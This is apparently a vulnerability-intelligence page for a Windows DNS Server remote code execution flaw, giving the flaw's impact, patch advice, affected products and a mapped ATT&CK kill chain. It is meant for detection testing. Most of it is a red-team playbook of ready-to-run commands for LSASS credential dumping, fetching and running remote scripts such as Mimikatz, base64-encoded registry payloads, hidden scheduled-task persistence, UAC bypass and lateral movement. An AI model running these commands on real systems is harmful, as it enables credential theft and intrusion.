CVE-2021-26895

CRITICAL Pub 11/03 Upd 03/08

Overview

This vulnerability is a remote code execution flaw rooted in improper handling of requests by the Windows DNS Server component. Specifically, the DNS Server fails to properly validate and sanitize certain network inputs, allowing crafted queries to trigger memory corruption. The flaw exists in the DNS Server service implementation on affected Microsoft Windows Server versions, enabling exploitation via network vectors without authentication.

Vulnerability Description

Windows DNS Server Remote Code Execution Vulnerability

Impact

An unauthenticated attacker with network access to the DNS Server can execute arbitrary code remotely, gaining full control over the affected system. This enables complete compromise of the server, including data theft, service disruption, and lateral movement within the network. The vulnerability requires no user interaction or privileges (AV:N/AC:L/PR:N/UI:N) and affects confidentiality, integrity, and availability at the highest level (C:H/I:H/A:H), making it a critical threat to enterprise environments relying on vulnerable Windows Server DNS services.

Solution

Microsoft has released security updates addressing this vulnerability for Windows Server 2008 R2 SP1, 2008 SP2, 2012, 2012 R2, and 2019 editions as detailed in their security advisory available at https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26895. Administrators should apply the latest cumulative security updates for the DNS Server role on affected systems immediately. No specific workarounds are documented; patching is the recommended mitigation.

EPSS vs KEV Prediction — Evolution (30 days)

Affected Products (10)

	Vendor	Product	Version	CPE
M	Microsoft	Windows Server 2008	r2	`cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:::::x64:*`
M	Microsoft	Windows Server 2008	sp2	`cpe:2.3:o:microsoft:windows_server_2008:sp2::::::x64:`
M	Microsoft	Windows Server 2008	sp2	`cpe:2.3:o:microsoft:windows_server_2008:sp2::::::x86:`
M	Microsoft	Windows Server 2012	N/A	`cpe:2.3:o:microsoft:windows_server_2012:-:::::::*`
M	Microsoft	Windows Server 2012	r2	`cpe:2.3:o:microsoft:windows_server_2012:r2::::-::-:*`
M	Microsoft	Windows Server 2016	N/A	`cpe:2.3:o:microsoft:windows_server_2016:-:::::::*`
M	Microsoft	Windows Server 2016	20h2	`cpe:2.3:o:microsoft:windows_server_2016:20h2:::::::*`
M	Microsoft	Windows Server 2016	1909	`cpe:2.3:o:microsoft:windows_server_2016:1909:::::::*`
M	Microsoft	Windows Server 2016	2004	`cpe:2.3:o:microsoft:windows_server_2016:2004:::::::*`
M	Microsoft	Windows Server 2019	N/A	`cpe:2.3:o:microsoft:windows_server_2019:-:::::::*`

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope

Initial Access

TA0001

Execution

TA0002

Persistence

TA0003

Priv. Escalation

TA0004

Defense Evasion

TA0005

Credential Access

TA0006

Lateral Movement

TA0008

Collection

TA0009

Impact

TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Remote Code Execution

89% rce

Race Condition

86% race_condition

Use After Free

85% use_after_free

Code Injection

66% code_injection

OS Command Injection

55% command_injection

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID	Name	Stage	Tactics	Platforms
T1190	Exploit Public-Facing Application	Initial Access	initial-access	Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1053.005	Scheduled Task	Kill Chain	execution, persistence, privilege-escalation	Windows
T1059.001	PowerShell	Kill Chain	execution	Windows
T1003.001	LSASS Memory	Kill Chain	credential-access	Windows
T1087.002	Domain Account	Kill Chain	discovery	Linux, macOS, Windows
T1021.002	SMB/Windows Admin Shares	Kill Chain	lateral-movement	Windows

CAPEC Attack Patterns

No CAPEC pattern mapped to this CVE.

Red Team Playbook

76 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1003.001 Create Mini Dump of LSASS.exe using ProcDump Windows CMD Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe Upon successful execution, you should see the following file created...

Command (CMD)

"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}

T1003.001 Dump LSASS with createdump.exe from .Net v5 Windows PowerShell Privileged

Use createdump executable from .NET to create an LSASS dump. [Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)

Command (PowerShell)

$exePath =  resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id

T1003.001 Dump LSASS.exe Memory through Silent Process Exit Windows CMD Privileged

WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a memory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism introduced in Windows 7 called Silent Process Exit, which provides the ability to...

Command (CMD)

PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"

T1003.001 Dump LSASS.exe Memory using NanoDump Windows CMD Privileged

The NanoDump tool uses syscalls and an invalid dump signature to avoid detection. https://github.com/helpsystems/nanodump Upon successful execution, you should find the nanondump.dmp file in the temp directory

Command (CMD)

PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"

T1003.001 Dump LSASS.exe Memory using Out-Minidump.ps1 Windows PowerShell Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure powershell implementation that leverages the MiniDumpWriteDump Win32 API call. Upon successful execution, you should see the following file created...

Command (PowerShell)

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump

T1003.001 Dump LSASS.exe Memory using ProcDump Windows CMD Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp. If you see a message saying "procdump.exe is...

Command (CMD)

"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}

T1003.001 Dump LSASS.exe Memory using Windows Task Manager Windows Manual

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task Manager and administrative permissions.

T1003.001 Dump LSASS.exe Memory using comsvcs.dll Windows PowerShell Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll. Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.

Command (PowerShell)

C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full

T1003.001 Dump LSASS.exe Memory using direct system calls and API unhooking Windows CMD Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection....

Command (CMD)

"#{dumpert_exe}"

T1003.001 Dump LSASS.exe using imported Microsoft DLLs Windows PowerShell Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump file and delete it immediately to avoid brittle EDR detections that...

Command (PowerShell)

#{xordump_exe} -out #{output_file} -x 0x41

T1003.001 Dump LSASS.exe using lolbin rdrleakdiag.exe Windows PowerShell Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with lolbin rdrleakdiag.exe. Upon successful execution, you should see the following files created, $env:TEMP\minidump_<PID>.dmp and $env:TEMP\results_<PID>.hlk.

Command (PowerShell)

if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
  } elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
  } else {
      $binary_path = "File not found"
      exit 1
  }
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force} 
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."

T1003.001 LSASS read with pypykatz Windows CMD Privileged

Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa:: Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test. Successful execution of this test will display multiple usernames and passwords/hashes...

Command (CMD)

"#{venv_path}\Scripts\pypykatz" live lsa

T1003.001 Offline Credential Theft With Mimikatz Windows CMD Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.

Command (CMD)

#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit

T1003.001 Powershell Mimikatz Windows PowerShell Privileged

Dumps credentials from memory via Powershell by invoking a remote mimikatz script. If Mimikatz runs successfully you will see several usernames and hashes output to the screen. Common failures include seeing an \"access denied\" error which results when Anti-Virus blocks...

Command (PowerShell)

IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds

T1021.002 Copy and Execute File with PsExec Windows CMD Privileged

Copies a file to a remote host and executes it using PsExec. Requires the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).

Command (CMD)

"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}

T1021.002 Execute command writing output to local Admin Share Windows CMD Privileged

Executes a command, writing the output to a local Admin Share. This technique is used by post-exploitation frameworks.

Command (CMD)

cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1

T1021.002 Map Admin Share PowerShell Windows PowerShell

Map Admin share utilizing PowerShell

Command (PowerShell)

New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}

T1021.002 Map admin share Windows CMD

Connecting To Remote Shares

Command (CMD)

cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"

T1053.005 Import XML Schedule Task with Hidden Attribute Windows PowerShell Privileged

Create an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. This technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.

Command (PowerShell)

$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }

T1053.005 PowerShell Modify A Scheduled Task Windows PowerShell

Create a scheduled task with an action and modify the action to do something else. The initial idea is to showcase Microsoft Windows TaskScheduler Operational log modification of an action on a Task already registered. It will first be created to spawn cmd.exe, but modified...

Command (PowerShell)

$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction

T1053.005 Powershell Cmdlet Scheduled Task Windows PowerShell

Create an atomic scheduled task that leverages native powershell cmdlets. Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.

Command (PowerShell)

$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object

T1053.005 Scheduled Task ("Ghost Task") via Registry Key Manipulation Windows CMD Privileged

Create a scheduled task through manipulation of registry keys. This procedure is implemented using the [GhostTask](https://github.com/netero1010/GhostTask) utility. By manipulating registry keys under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree,...

Command (CMD)

"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon

T1053.005 Scheduled Task Executing Base64 Encoded Commands From Registry Windows CMD

A Base64 Encoded command will be stored in the registry (ping 127.0.0.1) and then a scheduled task will be created. The scheduled task will launch powershell to decode and run the command in the registry daily. This is a persistence mechanism recently seen in use by Qakbot. ...

Command (CMD)

reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}

T1053.005 Scheduled Task Persistence via CompMgmt.msc Windows CMD Privileged

Adds persistence by abusing `compmgmt.msc` via a scheduled task. When the Computer Management console is opened, it will run a malicious payload (in this case, `calc.exe`). This technique abuses scheduled tasks and registry modifications to hijack legitimate system processes.

Command (CMD)

reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc

T1053.005 Scheduled Task Persistence via Eventviewer.msc Windows CMD Privileged

Adds persistence by abusing `eventviewer.msc` via a scheduled task. When the eventviewer console is opened, it will run a malicious payload (in this case, `calc.exe`).

Command (CMD)

reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"

T1053.005 Scheduled Task Startup Script Windows CMD Privileged

Run an exe on user logon or system startup. Upon execution, success messages will be displayed for the two scheduled tasks. To view the tasks, open the Task Scheduler and look in the Active Tasks pane.

Command (CMD)

schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"

T1053.005 Scheduled task Local Windows CMD

Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.

Command (CMD)

SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}

T1053.005 Scheduled task Remote Windows CMD Privileged

Create a task on a remote system. Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.

Command (CMD)

SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}

T1053.005 Task Scheduler via VBA Windows PowerShell

This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute "notepad.exe" within 30 - 40 seconds after this module has run

Command (PowerShell)

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) 
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"

T1053.005 WMI Invoke-CimMethod Scheduled Task Windows PowerShell Privileged

Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.

Command (PowerShell)

$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }

T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations Windows PowerShell

Executes powershell.exe with variations of the -Command parameter

Command (PowerShell)

Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop

T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments Windows PowerShell

Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied

Command (PowerShell)

Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop

T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations Windows PowerShell

Executes powershell.exe with variations of the -EncodedCommand parameter

Command (PowerShell)

Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop

T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments Windows PowerShell

Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied

Command (PowerShell)

Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop

T1059.001 Abuse Nslookup with DNS Records Windows PowerShell

Red teamer's avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with a payload to compromise hosts. [reference](https://twitter.com/jstrosch/status/1237382986557001729)

Command (PowerShell)

# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup  { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]

T1059.001 Invoke-AppPathBypass Windows CMD

Note: Windows 10 only. Upon execution windows backup and restore window will be opened. Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/

Command (CMD)

Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"

T1059.001 Mimikatz Windows CMD Privileged

Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.

Command (CMD)

powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"

T1059.001 Mimikatz - Cradlecraft PsSendKeys Windows PowerShell Privileged

Run mimikatz via PsSendKeys. Upon execution, automated actions will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed.

Command (PowerShell)

$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr

T1059.001 NTFS Alternate Data Stream Access Windows PowerShell

Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, "Stream Data Executed" will be displayed.

Command (PowerShell)

Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand

T1059.001 PowerShell Command Execution Windows CMD

Use of obfuscated PowerShell to execute an arbitrary command; outputs "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.

Command (CMD)

powershell.exe -e  #{obfuscated_code}

T1059.001 PowerShell Fileless Script Execution Windows PowerShell

Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that art-marker.txt is in the folder.

Command (PowerShell)

# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))

T1059.001 PowerShell Invoke Known Malicious Cmdlets Windows PowerShell Privileged

Powershell execution of known Malicious PowerShell Cmdlets

Command (PowerShell)

$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
    "function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
    $cmdlets}

T1059.001 PowerShell Session Creation and Use Windows PowerShell Privileged

Connect to a remote powershell session and interact with the host. Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.

Command (PowerShell)

New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use

T1059.001 PowerUp Invoke-AllChecks Windows PowerShell

Check for privilege escalation paths using PowerUp from PowerShellMafia

Command (PowerShell)

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks

T1059.001 Powershell Invoke-DownloadCradle Windows Manual

Provided by https://github.com/mgreen27/mgreen27.github.io Invoke-DownloadCradle is used to generate Network and Endpoint artifacts.

T1059.001 Powershell MsXml COM object - with prompt Windows CMD

Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, "Download Cradle test success!" will be displayed. Provided by https://github.com/mgreen27/mgreen27.github.io

Command (CMD)

powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"

T1059.001 Powershell XML requests Windows CMD

Powershell xml download request. Upon execution, "Download Cradle test success!" will be dispalyed. Provided by https://github.com/mgreen27/mgreen27.github.io

Command (CMD)

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"

T1059.001 Powershell invoke mshta.exe download Windows CMD

Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display "Download Cradle test success!". Provided by https://github.com/mgreen27/mgreen27.github.io

Command (CMD)

C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"

T1059.001 Run BloodHound from local disk Windows PowerShell

Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur. Successful...

Command (PowerShell)

import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5

T1059.001 Run Bloodhound from Memory using Download Cradle Windows PowerShell

Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur. Successful execution...

Command (PowerShell)

write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5

T1059.001 SOAPHound - Build Cache Windows PowerShell

Build cache using SOAPHound. Upon execution, a cache will be built and stored in the specified cache filename. src: https://github.com/FalconForceTeam/SOAPHound

Command (PowerShell)

#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}

T1059.001 SOAPHound - Dump BloodHound Data Windows PowerShell

Dump BloodHound data using SOAPHound. Upon execution, BloodHound data will be dumped and stored in the specified output directory. src: https://github.com/FalconForceTeam/SOAPHound

Command (PowerShell)

#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}

T1087.002 Account Enumeration with LDAPDomainDump Linux Shell

This test uses LDAPDomainDump to perform account enumeration on a domain. [Reference](https://securityonline.info/ldapdomaindump-active-directory-information-dumper-via-ldap/)

Command (Shell)

ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087

T1087.002 Active Directory Domain Search Linux Shell

Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory

Command (Shell)

ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn

T1087.002 Adfind - Enumerate Active Directory Admins Windows CMD

Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts reference- http://www.joeware.net/freetools/tools/adfind/,...

Command (CMD)

"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}

T1087.002 Adfind - Enumerate Active Directory Exchange AD Objects Windows CMD

Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects reference- http://www.joeware.net/freetools/tools/adfind/,...

Command (CMD)

"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}

T1087.002 Adfind - Enumerate Active Directory User Objects Windows CMD

Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects reference- http://www.joeware.net/freetools/tools/adfind/,...

Command (CMD)

"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}

T1087.002 Adfind -Listing password policy Windows CMD

Adfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy. reference- http://www.joeware.net/freetools/tools/adfind/,...

Command (CMD)

"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties

T1087.002 Automated AD Recon (ADRecon) Windows PowerShell

ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its path will be displayed.

Command (PowerShell)

Invoke-Expression "#{adrecon_path}"

T1087.002 Enumerate Active Directory Users with ADSISearcher Windows PowerShell

The following Atomic test will utilize ADSISearcher to enumerate users within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...

Command (PowerShell)

([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()

T1087.002 Enumerate Active Directory for Unconstrained Delegation Windows PowerShell

Attackers may attempt to query for computer objects with the UserAccountControl property 'TRUSTED_FOR_DELEGATION' (0x80000;524288) set More Information -...

Command (PowerShell)

